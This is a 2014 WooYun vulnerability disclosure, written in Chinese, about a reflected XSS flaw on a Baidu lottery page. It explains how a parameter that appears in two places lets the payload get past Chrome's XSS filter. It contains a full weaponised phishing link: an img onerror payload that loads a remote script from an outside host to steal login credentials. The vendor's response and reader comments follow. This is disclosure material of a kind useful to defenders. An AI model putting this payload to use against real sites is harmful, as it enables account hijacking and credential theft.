百度某分站XSS漏洞可以绕过chrome filter保护

漏洞概要

缺陷编号:WooYun-2014-088609

漏洞标题:百度某分站XSS漏洞可以绕过chrome filter保护

相关厂商:百度

漏洞作者:香草

提交时间:2014-12-25 16:30

公开时间:2015-02-08 16:32

漏洞类型:XSS 跨站脚本攻击

危害等级:低

自评Rank:5

漏洞状态:厂商已经确认

Tags标签:

漏洞详情

披露状态:

2014-12-25: 细节已通知厂商并且等待厂商处理中
2014-12-26: 厂商已经确认,细节仅向厂商公开
2015-01-05: 细节向核心白帽子及相关领域专家公开
2015-01-15: 细节向普通白帽子公开
2015-01-25: 细节向实习白帽子公开
2015-02-08: 细节向公众公开

简要描述:

正好可以做为一个chromefilter绕过的案例,所以拿出来讲讲

详细说明:

今天打开百度首页,发现可以抽奖,有便宜不占非君子。于是我就点进去看了看

可是半天都没有领取成功,于是我就随便点开看了看,找个xss玩儿吧。随便试了试发现type=video&wd=xx&nowType=lottery&site=iqiyi这几个参数都没有过滤双引号,可以很不幸,输入的内容还是会被chrome的xssfilter拦截。这里就需要用到chrome的复参绕过的向量。我这里重点关注低三个参数,site他是一个类容输出在两个不同的地方的。

如图可知,输出点出现在两个地方,且没有过滤一般的xss代码,不用想都会被chrome的filter拦截的

那我们要怎么绕过呢?以前研究过的一个过的对于这种一个变量输出在两个不同地方的情况,可以过chrome的向量

如图可见,后面还有一个.png)会导致代码出错,那我们能不能用//来注释后面的代码呢,答案是否定的,测试发现只要加上/拦截器就会拦截,这一点chrome还是做得很好的。想了一会儿,脑洞打开,既然我们不能注释后面的类容,那我们可以闭合,不让报错,不就行了。最终构造出如下链接

得到的结果如下:

成功闭合代码下面我们来劫持用户的账号密码(在用户没登陆的情况下,登陆的情况就懒得写了),劫持代码如下:

最后把构造好的链接

发送出去:<a href="http://api.open.baidu.com/pae/ecosys/page/lottery?type=video&amp;wd=xx&amp;nowType=lottery&amp;site=iqiyi&quot;&gt;&lt;img%20id=x%20alt=with(body)appendChild(createElement(/script/.source)).src=&quot;//qqq.si/soPurw&quot;%20src=%27%20onerror=x={png:1};(function(){eval(alt)})(x">百度发福利了,快来抢啊</a>结果

漏洞证明:

点击链接

修复方案:

过滤双引号即可

漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2014-12-2609:46

厂商回复:

该问题已经被其他白帽子报告过,但鉴于洞主报告详细,给出了可绕过chrome浏览器filter的完整的利用语句,评中危

最新状态:

暂无

评价

  1. 2010-01-01 00:00 L29xM2 白帽子 | Rank:0 漏洞数:0)

    膜拜

  2. 2010-01-01 00:00 0x_Jin 白帽子 | Rank:234 漏洞数:25)

    坐等 vector~

  3. 2010-01-01 00:00 疯狗 白帽子 | Rank:22 漏洞数:2)

    @香草 的dom xss研究很厉害啊

  4. 2010-01-01 00:00 香草 白帽子 | Rank:97 漏洞数:12)

    @疯狗 狗哥,上次那个umail有没有奖金啊

  5. 2010-01-01 00:00 Power 白帽子 | Rank:29 漏洞数:7)

    @香草 学习下。

  • N/A